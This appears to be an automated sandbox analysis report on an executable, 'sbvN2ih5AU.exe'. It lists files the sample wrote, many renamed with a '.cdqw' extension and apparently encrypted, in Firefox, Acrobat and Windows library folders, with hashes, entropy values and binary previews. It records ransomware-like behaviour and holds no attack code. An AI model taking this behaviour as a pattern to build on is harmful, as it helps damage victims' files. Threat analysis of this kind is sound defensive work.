Preview:	WUTJSu......(WQg......x.6.S.i.jk....rt:eLo.K.K.J.ZG3...C6`..=Q...V.F...........3..b...m..dA.K...\..ZNy..u...]..a.C;z..V....B.....3...T.y19......q5"f.4..K....f{G.?.K......2..E.WHpz...J#...d....s...=i..tn.%.NA.Q.).=.(.@8._..F.Xx.....e....X..`I...D.a.3..h?9.iQ..pd..L.`.h@8gs\H....BTl.7.){..g..U,..^Z.M^.....Qx....HF...3...i.>[B...#............mY5...5.T.m.1.4I.g.....'.L../.W.W_'....ima=v...@....H-}.v=....S.....l..^3BL1T'N...l?.S......b..A..J:....L..(\|\..H...R.c...U6....B9.5.b..$!CD[.2).o..\..`"..uP..m...,hl.h.Ft...B..].vCa.UC.9g}...,.qx.+.&u....?..?.R...2..JT.<.....>:qq.j{...$t.".y..].Uy...K./.%+..Z...o.P.)C=.H..G".b.z.F.../...oK....EU......lt..&&.UN.j3..1.2.....n@.Q8T.p...h...3.S\|.......n..o.hU....... _...............WL..cU.....U..9..p2.a...L}.....d....\|.v}ON.JhCG.V.0j..9..;j'.5..9U.T[.g.C8.d...4.L.f..8}}t....>..v..5.g..v.'..=..1<+.v.........B.,%aD*[..}]n.S.S....z~.z.. g.H.Yq..\|..q............f;.r...T7..}....=.+..0.HB.K.8...9...{..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\YPSIACHYXW.png

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861291730794821
Encrypted:	false
SSDEEP:	24:vOfbohHInRGBqyEEIUKJfCeZC1ipRmZkKEEe++r1dYMlYbBrZwm98DppBkqqZ2bD:vebohHl4E1GZZC1UIZE1r1dYMl4Bem9s
MD5:	9A083821DCEA94DCB41B86CFB5319C8F
SHA1:	C98807642B3266D4E49404DCED5C0503BFDD7B97
SHA-256:	730515ADF926714DEBC3FE46985C4EF22F3D92934B000FA88E50D8680F85D895
SHA-512:	22AC2934CFCECAB2A40AA84AAFBC38B6660ADCB21562C8A8001F50ED831DF0548423FD6C624E150CA49A1708858C04105C89007A8180EC42A877C434CC11EA71
Malicious:	false
Preview:	YPSIA..@n=Kd.j=...#..s..P..}..Z.2_p.....1.....h...c.1......4.C.....(.....b..f`Q.>..us..@.k...<...U.....[Z..B.X...o......aR.gU318]..A_......Qy.1'B.....5u..{..W.Bh.a.6...Fk...%(.Hkr.M...9...}Z..dkF_u.?4..}.....N...Ah.....m=.H...y1.V.+.`.2.+..q....z...Z..xa+..#Hd..V.Jr:E...9.........%.i........gi..d..i.....Q..d...=..N............}.(..Z..+.'.....3.).....=....!.=.O..u...V.}'.....^...7...9.j.#.u.W.E.B..d...U.Z....[.#FU{.l2.>P.u...G......MSo..2....~.TI8.ew`U...fj..9.....f#.m...?`./.....O....m...~.u4xa.2.>[\|.]no~'..:..%.HB..z@.&..0.....uC./.6.Q.a.}...P\ 3....-.....y2...d.5.L..7..E]6..?.....M=...`.g...cjU<y.(0..X.T.e.-.GI...&.v.A0.4.#.W.%...\|`.y.....Y......9O9.j...T.....s.......V...&...$.^...aq.Py)......rD...]....F...{{......s....=.&..........p.....X{7W.oE.........ri.aM...l...L...e..4F...9..j[hG.t.=...\V.u..L...>...[.4X.../".p....='....'....G5.(...6.$...._..d.3..WQ.E.d9`L..R.......\|....uBW..tH 5..........kl.....,.......B..*.pxd.i8.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\session-state.json

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	495
Entropy (8bit):	7.513301523380641
Encrypted:	false
SSDEEP:	12:YW57YuWS77eCnQn3kJAwQkgcRM73HyblSUdNcii9a:YW80PeUS3kJAlkgcRkL2bD
MD5:	8DBC75F84856AC422FE65E3990192395
SHA1:	264C48D5733DE9EFA496D9CA97F83CBDE3B22045
SHA-256:	482D8A74065A0244C15CCE75F53A979C0A6F2D6CD83C0CCA67353C60105BE3EB
SHA-512:	F22201E71AB3ACFAF8513962776947735BC7AA206367F9E05D0906050B4068AD7FFB9525FDDEB9D7102D03B36BA8C13DC2BA7CB30B422F0C0D4B1A2A84D5898E
Malicious:	false
Preview:	{"ses..s.../.}...A[............-Y7.%..!{6.E....w.G./...}...@.Q...x.#..P0....J(^..W33;....gY[..9......4g.::...lM..b..}.....d.S.0.....x.p.......TAA+..u............ .B..)N........ .B(........f=MB.Tx.O...phNL+....>..#....m...G.%._.WRZ...:`.{Oc....2.F....&s...y..=..fuc......J.k<M. K.g....f\...@ `.]...2.e......O..j......`~mT[w.........k.xge\...T.oB.Q.b..HW.._..^.w.Ezs.X.K/...R.'..`p.Ug./..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\state.json

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	385
Entropy (8bit):	7.370469384907356
Encrypted:	false
SSDEEP:	12:YGCYcKx2709JO4seE7018G3uZSUdNcii9a:Y2T9JOpO8Ir2bD
MD5:	ABCB2438CB35A8CF4B7CF9C9496CFF0E
SHA1:	1CB4B3711C84D06B25315145CD77084624A2B0E3
SHA-256:	44BF1AF1A7E547FEB75B16D1D00EB87F0D3665938003FA36412B052D9C020F08
SHA-512:	CAFD512F772D54A4AB407785E06A7B14000D430FADA0F7C46FCCF592A0C5C074679D1D57465B3CF6D467ED1B6040DE16A8DCE66721F3592653CF0B93F6258168
Malicious:	false
Preview:	{"cli.).Kp=K#......I..{....m3.jz\| K..&U...f..O.KG'..'.;.K.i.....9..G....h....V.?.?\...A%.-}h..!LH.rV.2p.~.x.i...T=....,....i..\...?3 aR..Q...`....`.../...p?....RT+.W....j.=..I@f......Jfm(\..0B...,m.m..=io. =Q:>..../..'.n+.C9.$.s.`.n.p...Yg{..oH$.=hp.s.".q.YQ..x..<8n-<.*..lW/.Kh....H.v...r.."mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\previous.jsonlz4

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1550
Entropy (8bit):	7.884604942380625
Encrypted:	false
SSDEEP:	48:38kUVu0siVtjfxv9d7ClHKpuDN2Ng3Unnmv57PcXTHD:lsjLp9d7CspuR2eUns5UXn
MD5:	EEAF0CFF3B5313AF2C828108B893414E
SHA1:	726CC3E6897CB34610162B7277D54DCC6DFBBDC1
SHA-256:	69D02DD8BB24C4C1B56758E2ED93E50E5CA710C9FF91C7FF3965687AEB5DAD38
SHA-512:	9D57B2A8297F7926A2884D135BE78E5AF6F3B06DC0EACAD386E6DE096D0EDB37279E6623803793B222B6BF889B35CF7B976C6D4FEA29085B2D8042EFA7B0CF09
Malicious:	false
Preview:	mozLz,Ij-~ ..`\|.-v..}.d7....%..\...;.a.l..n.."LWW..[........q!m..)...]`.T...L.[..u.B. Tp..I. .sX..,....i...y...jJ.6.....B...{.:.h........nx. b.3..~8...z...i....k($8z...\....$..d.}..9>.....r.@..e..M.\.\.C.=.P...BIg......(.........6&!v[.;.....l...s.Y.cS..K.E...9..$.b.\|.0A'.C.Z.M9O..im..]W<...~G..x.....V^p.,.^?.O36.j...x~..#tl..)..e~....n....e..7.....+`.Q.`.......#ai?..h..y`-./8..o..F..L1\<..:...\<...t. .....)Hg.M....4........?Ge...i.=..Z.C..n........$.7j...RQ...!.....Z....t.S_.......o.. (...%..d....9.S54.1....3C..;..aEi...."'\|......F5..^.#1..m.Hrd.M...8D+.vj...L.....2n...:..]....$.R4.?.......-..\|..a......L,....b.D...&N../..1; .&I..6....Hr>.(c.`.V..B..G.....X.....Jk..lz8....j"@P.#.R&.'t.U..m.%%.w#9mZ..Xr.f...X.f.q.(..Q....:..K.n...<..............#~S$.ySS<.9Y."....#..Vh...-bT-...Z...=(@u....O..Y...M{g}q......N.....hp.7}.3Gjz.4...".../....q..3...R.a...\|.O.!p.C..nLX....!-?)l..w..i2.J....Ju......W..@=L...Z..f../....z8..c...J.....*........k.R&%.D...M..~..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\upgrade.jsonlz4-20230927232528

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	4749
Entropy (8bit):	7.95887195788653
Encrypted:	false
SSDEEP:	96:fo4kiMUSG3nl08yKhLbdd4V4+3B95jWtKaxd4zBWzD:fo4Fo8RxGq+3IKaYQ3
MD5:	FED1F652EDFF3B7C37CC233A78CD9174
SHA1:	FF8DB7A171861642548133A215D573F3F81FE6A3
SHA-256:	0FCFAFAE80AAC73DFB60581068CA53A8A198A3178EC004BBDF10C6C8BD5EADFA
SHA-512:	B7628C56E4396D80B4E782AD3C2DCB047EC49056BE5126723081A28D5959A0815B408698262534F029F5F7736DEB54E15E339834A939AAEBDB7AA1EDBBA31ADA
Malicious:	false
Preview:	mozLz....,<Bz..A.....E..qB....7....xR.....,.....c.".....l.K.<..m'.=A+#K.....-!...]Il..Cd.\...D....\|>....B...\|.i...K.Fw.#.<.......i.hMYg........-z.....G.pY..K..8......m.e4+B.a...7...H..^.st.G.)_...9F.-..w...XtZ.......N..p.[..^...[..p...u.B...0....M...Dr..^..1....F..z..[...Y..O...z.@...W.._f&.+.Y$.t&p`.C...h...F.~~.%......K..y.....!.T..b....G"V.el..9..."V....$..T[.}.#.[M.$h... .x...,...7.9...X..\|8J....m'9G.J..<..vT.......pP.E...,.1.v-...a.....}@....RW.....".}.....2...KPs...V.{k.......mR..=...4iR\|....!x...\|.......+..7..~,,..............N..E..m;.Y...D....F.5......#...D..........6L..u...u...l7.1........!_.j...r...?...;;."..jv..D3...*.g%...c..P....Q.N..$$.~@Ny.J<..e..`Qxy.x.3........P......L....0...E../...v@?...BTD.P`a.(}...'.iQ?gu.V'...7s.87..z.....jl\b.J.Z..?.59.....a.8....=}.u.. ...5;l;..#..b0.F...f.\|X_....>.+zvJ`.....7p ..o"....M...@.-}.. R.O..=S.`U#.2..{l:..o..`.8Ml5.G.a[s...wp.^..D}......6..S......h.5N.}.[...u......t.2..f.\)..!...A.Y..2.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	131406
Entropy (8bit):	7.998584471675654
Encrypted:	true
SSDEEP:	3072:BSk/UQf4sNWis0VlyYJZjy1CRyfH55svun2v0ayep+x+IIaBK4fiL:ok//ws8+yYfyPHsvqnGpAjqb
MD5:	60F57735ECEC0ECE001A935E58273BE2
SHA1:	EE7A495D4CE81D5FF44AD12939A9D3AABF487531
SHA-256:	F834B1BB9F9785AC842AB465BF69A93A5A42503B817D684C0BE3C2DDEF302C78
SHA-512:	509225852E77AA76E80DA2F1199239DFC8BB77C8182DC460EA76557C762C4053CB699CA5440C151BE89DDFC5FC20079DFF3B8352147A4E38A8D817207B0ECF38
Malicious:	true
Preview:	SQLiti^.v....r.?'.E...]....:s....]E.n/.....Hy%N..Q".86..).A.....],.%+.y.......hi>.'.^....f.8......A.$.B....W#}........Y..+........d#...1h..t.J.@.Jn,AX...........f.P\&....S&W-.....X..p.=..&........8..6..t"...\!...?..C...:.eQ.s.U..rv.\|.!5......G.-/%...2..]d.F..Dj/..V5}.].......aI.aD5..lc..6r.....3..c.J`.Y.i...2..z..C..K+.9.b.......~.. ..<iP".U....S6&@.......\|OmD.#.......x.,...^1..u1#..mK.r~.M~k...z.....=I{.UeF..Z....J.8...Z3.%..t..Y.w.c...>.Q.uN.E.z..-.8.Hx.=..1Q....]\^..%.7y..b...7.+5j(.=.C u..=.." .@.s@w.`.._...\|.x^rk4./T'.iV........1...c......K?....X.w..z...j...t<K.c....q.+.....f..P.......f..Z$.....7.Q.,P.d.kE....F.6."..I9.E.-@........O~...`.....m......E..r...Um.GrV..itWh.=..CK...k.6.,...M.GT....L..............;1..80Q....5d....]t.........O..cY....E.u....v.R..&7L9.l..=.jM.....(...f'K..-.A}.....,..*.3 11)U=3.4..F.....!U.sU.........>.vG.r...k..(n.P#..N...g.@...fh\.......3.)..m.w...H. r,w.7.d.f.......M....vq..pSb.i....EW

C:\Users\user\Application Data\Adobe\Acrobat\DC\TMDocs.sav.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.275902754140982
Encrypted:	false
SSDEEP:	6:B4+PqBx5ziGOBI0MbJa3LIXkDOfExrp/b7WYKzFUqIC3hIdQSAHInIS1WdNcii9a:B4+P052GO9MbJa3J6fEH/bqzchAZSUdV
MD5:	21D7695706D11FC1D3D5B4CBE8342653
SHA1:	185C5DEDDBE90E8D42682D4246B5099737ABCAC2
SHA-256:	6A23E6B67D4669BA2E60607D6623E23C618D6B877B68721B00EBAE79B636D905
SHA-512:	4E2AA198F4EA8DD7C2EBA1AC7EB3308D35D88A4A70E855EF4877957DE34D3782EDE6B3230D950E6C2002C163E3B304EE49A5927349FF52119FAED5BB0A3FCEE6
Malicious:	false
Preview:	%PDFT...E{....:.."Bk-<..@.d,..L./.'^.cu..r...Z..........%>.fq.z.T.....[.35..!`....0DFqa.4\.s...D.......OS.img.).CQoh..Hy...~.qe..1<...T"F...Z...A.....0.G..kg37...a...+1[..v.Z..E..L.../.Y . mM.X\|n.V'._...@[&\W..<..F....F.x.Y..D........uw.....8.N.:.....o...6\|E./...,F.71:GQ..Od.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Adobe\Acrobat\DC\TMGrpPrm.sav.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.385651529468456
Encrypted:	false
SSDEEP:	12:d+E6v3XjD4QdOXGgOR7q3X26SUdNcii9a:d+Z3XIQdOXGlR4G52bD
MD5:	C34B6A655B850D6794D6B7DCFF5E2C74
SHA1:	7955EAC4B2A4446C076FCDAEEE13ADCD7335B3D0
SHA-256:	B260445D7E8AE3F5F407B49CA965E047494E28E78D8C8790309E56A27BEF24A5
SHA-512:	A885EF06FC537DC4EF79E9344A2B5C03FB6B7FBD5BBC372B1BA04CB721CD9A684B7E89A532F84F2F6F995EA2570851BB165EF54E4AFDF2FDA40768158805AF9F
Malicious:	false
Preview:	%PDFT...g9o.c....j.0..U..).B.y..7......:.O...m..Y.B.#....{....4............6...x......c.....(.V\|.$4.S.)..?D..v.Tm.o._.P_............g.......Bt./@@+_..i.^...o...o...;\.......".$.I....:?&C..h(...@.;.X:..Q.....I..7/...H....B=\|.I..q.j...x..P6.lT...d..W...m.4@.gM...o..../.C&g.A..M..y@....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Microsoft\Windows\Libraries\CameraRoll.library-ms.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1352
Entropy (8bit):	7.83412120937915
Encrypted:	false
SSDEEP:	24:4CoLaLxcSp7rCCstkIGhVkZ8MpFUW5HrDUHxGo9SqMLdts9NanwX+LR0zmzlC8ez:Bo2LWiOCukRVkZ8MsKLIHx2qurs9NeNS
MD5:	03053BE2EF811835AB68A22400F720FF
SHA1:	08D1C4518B96AB0E257555B8A6021F43A6AB0FA6
SHA-256:	CF3AFC2D2002F522C648EBB347AC97B8BEE6884BBFFD33E3DAACC26E8E43C5C6
SHA-512:	DEA876C4CFD8DC3A284CBC2369568E24889397E3E56D0F13F40BFCD6651A1F572845C5C707B2AB6F607389CF86A42503DCAA24823A3E1635BE1FFC619DB8015A
Malicious:	false
Preview:	<?xmly.z...GG..u.J...V.OU...7....:U.cuc"$..u..1$.....w(...#.%...<X.....n....OPj..9..S.n..#uZ...8..t.....Z9).).Rd>.:..~z_.i..\.Z...e....L.h.%.?.5/F..W..`..Q.5..l>...yp.N..V..m..B..vJ.^.5#M.S'.:P.....1}.5.C....1pG...B....@?M....{.l.....[hKM.X...>.pe..w.L..r..j./......F{.q.K......J!!.F\..U.azg.NX.{.._..3B8..(?...`.../$5....."..a\.......S6...w....w.U..\.......q.6e.I...v72...uET...8.3....q_kO-6So.7.....F...=W....>bl...mb5(.i$_......KD....a(.....ho....Vl..I..+..c..,.P...hb..Z..p..g9P....E...N&,@Cs..=.......}'..N..+.<D..H....U.% %Ud?E.E.R...`.U.k.v.2....A.X....M.\'..E.........+.....J.4\.+.pz...c...}.s..G...: 1qIz.e.:........PH..QR..Yt..$....-.........}.Zh./.g...6..`L0O...... .8a....D......9..a.w;(.bUZ..Te...FX.M.M..w......p.]../..1...j\.o......U.3...T:d....%.sv.hJ..-..T.uz.x .fi.Q...........>..g.).:WQ.H.*U"._....v...%..Q.@.:5(Hl..].4......X....cz...^$.Y....=p..yI. .3..,...!.AT.~dG..[....,.n.....#H.p..0.}.qI.....&..e..L.cv.:..r.V...cy.Ho#8...DB..{

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Documents.library-ms.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2424
Entropy (8bit):	7.912486250669904
Encrypted:	false
SSDEEP:	48:vAfSoydUPkUXJdXy6/okAQ53ky/rndmHuCNCYcNKZLqwkN842D:vHdgXJdifkAQRybCtNqLbt4u
MD5:	4B91AE443D2771E48421E5681876449A
SHA1:	F4BC48B9238A8095506DF8112D6AAB050283AB9E
SHA-256:	897F66A35B93FBCE76AC5F9B57DF47234E56823942639B7F85F55E4190CF97AE
SHA-512:	033900ABAE2EA44AE0F683217EF1518395399FCF7BDA490E250AB07C835763D5E5CA1D8BB665769064577905AAAC3EEAF490D728B78B9EA4065D821946BD737C
Malicious:	false
Preview:	<?xmlyg....{..+o..~~rN....AG...TtI.%..9...."..Y&6......#a...l#.Go..X...D...a.........U+.R.h;.H...2d 8...g.o...s#...4...p...\..8?.P.........v.+.t..... .......].-+2Ai.{.......b...s.......yu .z..9.E'_>a......G..Ht.E.T...W.Y.p.v.k}......Z..ev.3...Dw.....o...8._.YbC.f....".z...S.jb..4.Q.Dl_.F.v..9n.6.F.....'s...9m.).....q...jJ...L=...Fn ...Y"._L2x....X.D.!...l.S..\|.."CM.M..E..K...q..^.....PJ..2.+.(.+4s.n._".~S....]i?4....G....z.0....J4..4R....x.$.b.:=.=..."..,...g..rT};.4...g.G%.0g..r+.......Ee(..r....$*W.j...K{...5pWq...:.....T.(#N"Fy...L...Ng.9P...........}..%.H.?T.....Bu.c..O.w7)..-.1'.....ze.]...G,....9...D..T.0.{.0[<.>3.......2T"Y.Sn......._...t..S.H........y2..>v.tH%V....T..=..r..R ..QE"g....).Jo.......pm...K#n.....Z..,..~.$E...cM.yn.k.......W.l.~....!..]..jz`..%.k...E...9.].......]..!.~........Z,MR.?.]..k..['......8...c4.k9.o..6..7....&pW.?..d.2....q..a.....B.....~..@<..c....a.Fe...fz.8u..T.`{.2=kR%.\|.8.V...........b..B..v...

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Music.library-ms.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2381
Entropy (8bit):	7.926565033166775
Encrypted:	false
SSDEEP:	48:KBEX+LfCBjwqDI67pjcUV3eXG9DRvWqd8CiszOURjTIpZoYv7D:KW3mq/wXG9l9A9OwZou3
MD5:	8B48E69BABE47E9BC426E17CBD88D072
SHA1:	1A671D399CCD55E972824265B584A9845ECA463B
SHA-256:	BE60254EDBAFC175697636F679C7C78588459859D632CDA89854257E2406F684
SHA-512:	5864DDAC865EFDD8AAE065EE77B4E190530A355DE98D61336CB60EA783767996D7D29E9884A05462183F95D22CE67CAA84B34277FC2A59FB0CCDDF74A18C8A97
Malicious:	false
Preview:	<?xml.}U8LvZO...l..9Vc....Y.....k.f....;M5.%#.h..Vh.."....G. .I-0.y.F...rX.Z..u`.9.7.G..M`...r..^.("......\.c......R%..0...V..U....1.z..<.[T..\|.X..0.D.l.Q..U.....h.gYY.w.....Y...i....S....5.:...........c6.......h...20/.8.K.{.#.3(.....JXi.p.....L.,.`....a.$.i}#..5.s'A ...%)..R...$....P...>B/....f^F.3..<J=..)..g.I.l..E.C...=:.....B.....6[B@].f:G...c..+d......b..p.ruL........'..B}.w.Yx..^."\|.....L...WJ...h.l..Q=.KE........g....@..;.%FK.^TM.....PI.}..?...`...~...4.7R.B..5.\0..pK.....$../..x.>k.$..3$.h...;Q.F..R9[.`e.v.^.....F.....b..O.H..%..57d...{..o...oM......1.C.3S.......q.......).T..xR..T^w......P...Ra2..B.R/.Rl....W.5j.....p..eX...:.\|"..^.My.!.R.P...".....u......O.+.YQDt.3.G....\..@;.....B....c..VT...E.Kt.....Q...YI....../...a....Dd..{.......{.....C.j.h..x..G.9.h......~...j%x.......>....:9........o.. .!E...k.4.@O......Y..vG......Z<g..fr...G....c...=d.m.P...M..*&.......b.8...yW.....b.6..J....G..m...l:..X".q...k.{.>@..

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Pictures.library-ms.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2398
Entropy (8bit):	7.914917339946739
Encrypted:	false
SSDEEP:	48:QAPGRCYCftozyU0RkyNiDxBOr3DxlDqLWSadMP2Hjf/vewND:QAPGgXftozOWy4BQ3DTSaQMf/ve6
MD5:	807E4EEB37214868846C440132057E00
SHA1:	36890761D56845C04063584749A9BCD2C0FBA0BE
SHA-256:	934A49A91008FBC6EE2149B39E86BB77B01C32C00F4B51DD56C3D632B7B825F7
SHA-512:	E8FA83156761840E70D698B1750C3F19618B2F712DFB1F711E93C95CC565F5AE9EBD336ACA9AC339603FC3E1C0D6A93B527A665B501EEA71132FB6DEE5383565
Malicious:	false
Preview:	<?xml-..QO.<.n..s..\|{".IoN..$kT.....f....1..6.........w@....]..)..h......LD..T.'.:T8.f..F.v.~.g......Rt(.#0....A..u'Ze5..........{.S.E.Xo..L......<.;.v. ......F...e.U.9....L_........:B...2.n.z8v...Z-_.l...&.(f `...,.=..w}>.#.A..VI.r.WI^.Ss.6./.C.,;W]..vty.c...f.}.T.R....g...o..f.._rx.['W...&./_..i%L.....x..?.]3.<H..b....f.q.rbRC..X.O.#Y..:.q.e..'.....M.TY=O.]W.p7...b.<..... .."...Q..._{..rm..O'....R..>.=h.....p..l.........h...4.E.....P.H..O..{..D../P...@...)..\|.....7....w<....&.oJ.........N....Of=9%..+.~..X....c.p+<_...ux......Hk.v..R....25k.....W.O..V....f05.5.I.-fTTW.f.2...... .M.=4i.%..p....z..B*<.h......D....o...\|...].)........$6.0.N].G...6z.9.&....Ec%.nr....`..Y;.......(....23..3....~.D. .&..r.Bxy...;.. c....o..O`...{C~.k>.....O...K...l.z.N...m.....fG%S.~......z.)..+S....P./..<...fbv..R........8...f.Qcc_N..r..PwSA.....8.x...M..n$...................%a;......ye....n...F..4....:hr.F..5..8..DK...f.......I.)Ys29.Q......=Z.....:.A'.

C:\Users\user\Application Data\Microsoft\Windows\Libraries\SavedPictures.library-ms.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	7.857644044903456
Encrypted:	false
SSDEEP:	24:n5G71i5R4kPhY0QstZJPdCEVGptT6YW61e6Ub2bD:Q1iBPwmldItTnW6kID
MD5:	8AEDAC688E0D920C2B827FFEB1760CC6
SHA1:	DE04E88B754231553142EE6CBA772E17A21A9A4C
SHA-256:	5CB8B21B3CF4FA149486175A7045E0ADCD3ACB65F3C9C21CE3819F7436813ABE
SHA-512:	3C2D951FBD7FA159E33D7F8BBC3B02BE726B0732D53097BE3580AFFE04952DB4DCB1955BD73EC910EFA85A4B4565CF14CB4764CE5B73401E322E52B3350ED4C5
Malicious:	false
Preview:	<?xml9P.2[.0....h...Q..;H.0..8....}ZE.w........A.I.#d!1#.q..V..,...aog.0..Y.Jw.J%Jp..U.t....%q.(..tZ.....iLu. ...h...s.......L'...L.^..L:}....b.N.o.%.i...j...G..#.(P..=.].....-.Y.J\|...k...Pz.-e.v..+.......z...r.....~......6V.0.........`......L...g_.dx:....;.}...i....n...eE....m.;....).....rmjz...X..9.i.t..+.....x.:.........E..5..Sf.3..t.....a.$..z<.\|<.{.y}.-n..a.......+...;U.5Q....8.d<..........&....+.......O.#.R.?_.....fr...\\.N.@m......m.o}.Y....D.1.3._.....C.:.w...?..?...F......S.>TQFR..Q.+............%.+.......".%.9..U...u...=.N..q..M...B...9Q....8W.....3..SJ..`.Y.....i.}cr...G.....&.Gh...&.h.F.V..R......8..-..@......>.w...3.!...) ....)...S.`...@..M.T..\|`.\A..I...z....;..$.'.^.3,.r .F.' ......H..:u..&..4z..l[..Q.t..y..$0l....5.[...Oo....(.}.o..Gw....c.W..Q<..v+Vc....yK;N....,G..N.d5...)...S...s&...#K..W.?X...U.L).....-6.]...br...BV.'.....]f.v..1..0?...F..x...r>.5jS.....\.K........p..2..Q..[....keB.Y..G..!.w......_..P.....

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Videos.library-ms.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2409
Entropy (8bit):	7.908733940599261
Encrypted:	false
SSDEEP:	48:JF0v1LZ60t7gwmoTo8g1HbNKI8zFzjeCSXBu5sovuMzqyD:J2LR5gw1ZgfEFFz5soGMzz
MD5:	12E7995CBC63926C6865BFAFD9F3310F
SHA1:	F12FB7F339581F910FBC9D2F12A7A8843E19E225
SHA-256:	D77B759632F96FF402B15931006A1252B97749D6DC98448A440F1147D0E51531
SHA-512:	4BBC61030861C008D9BD221B7E3E93FC4DEB22CF48E6F7F21C03597C0212ED4F0C686AE04CD96099AF82FF71001435187DA218B3A1BCBDE1C934CFFBA68C5F27
Malicious:	false
Preview:	<?xml.i.b.Vw...V4wI.7-z...s...`M.cIy^.=.....e..(...-8....r+.4`.P...F..l6.v....uA.......3..+..7:..}E.'.<.......:......>3..1.>......T....Eo.i..Pd....Wt.@..!..<.J..{...j-..Uo.........l.............../).O....'K.v...Zn.._s.?.t.o.D`.@...{.FS.gI.I...'........?..rK..g....c..tR.c"R..w..$.2.d&.5Le.M.....5Dj.=.u...c..8L.!V.ET...w..T......m.U.8?.kD}WA..}N.].,...w..o..`............./k.C...4.......F...M.t.PH...A2....o.A.B.!...8w.B..t...~..0...c...3.\Pj.e.'+.QY.......C...O...Q.I.w...H..>0......\1....5.;g..-!...s.Y..j...F."u7L0....d86.D..._...O:.V.l(cOC........(..2..}.^6....0..W.d~....<...V\....${N.@.+>.9.'....`....G....sc..L.^.WO...4n.G.;.\|;[.[......,...8Il_.P...........44..[..hV.....iQf.'C...+D..G.].^.5...t..m.\.%....q...\.x.......q.5+WeI......i.M..^..Y...........D..L.T.(...,.:i"Y./,....H1F..9..x............z..9..1..0..W...w0......[:A...9..r7...U...?:.....;....y.6.:.1..w.u...."..B.Tw..r.q..)[....]r9x.....W.f.P...\..R...H.....}..I\|.d;.K.q..x3

C:\Users\user\Application Data\Microsoft\Windows\Recent\AGWVMYQACF.png.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846995250726724
Encrypted:	false
SSDEEP:	24:ZpMVAOPuyGkeyBG5qUxveMBW9G7SHOkwfepWPV2jxHC5Uc9xHQ2bD:ZeAOP9GkhXMBZ/ep6kdHC5j9xjD
MD5:	BAB2FDBC19F77A42449ED1179E0F1784
SHA1:	FBE336F1CAAEA46271AFF434091CFF33BA4FD3EF
SHA-256:	D8E25A3F3700D3B3ED08EC77921567C32ED064E69D421CAB27999387FEAFB257
SHA-512:	97762031F6C1C5DF50B84A15F435381DA528DBADF553023C211CB15A66FA9E7C5D7BF4D11BE76146AC949E8051DF96FB22871D24BE5D260302CA79033E9D2AED
Malicious:	false
